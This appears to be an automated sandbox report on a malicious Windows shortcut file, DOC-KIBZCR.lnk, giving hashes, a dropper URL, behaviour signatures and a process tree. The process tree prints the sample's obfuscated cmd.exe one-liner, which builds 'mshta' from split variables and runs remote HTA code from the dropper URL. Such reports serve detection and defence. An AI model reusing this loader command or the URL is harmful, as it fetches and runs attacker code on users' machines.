Analysis
- max time kernel
148s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-KIBZCR.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-KIBZCR.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-KIBZCR.lnk
- Size 1KB
- Sample260804-kbmbcaar9z
- SHA256 7069391ac5ac74761c77b62eae0d1606c30893bb825592dfdc7eb74c64d0b529
- MD5 5fac1e7321dd472dff59c3f415028058
- SHA1 7e72f42eb774165f712f66774edab2f757b4e5bc
- SHA512 423c621492e30643a74c40b4783c2ec3caeffce7b485134b0c1d5837aead7ad12d1cecd693d054a50dbc9c72e8a7c4854f922fb3b691af603c059eedbd73a20f
- TLSH T19B317B503FED0628F3F38F7794BB972485BBB8958E20CA2D0141454C5432B15E27AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4208 cmd.exe 2344 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4208 wrote to memory of 2344 4208 cmd.exe 90 PID 2344 wrote to memory of 612 2344 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-KIBZCR.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4208 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set gNbd=msh&&set dMe=ta&&start "" !gNbd!!dMe! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2344 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:612
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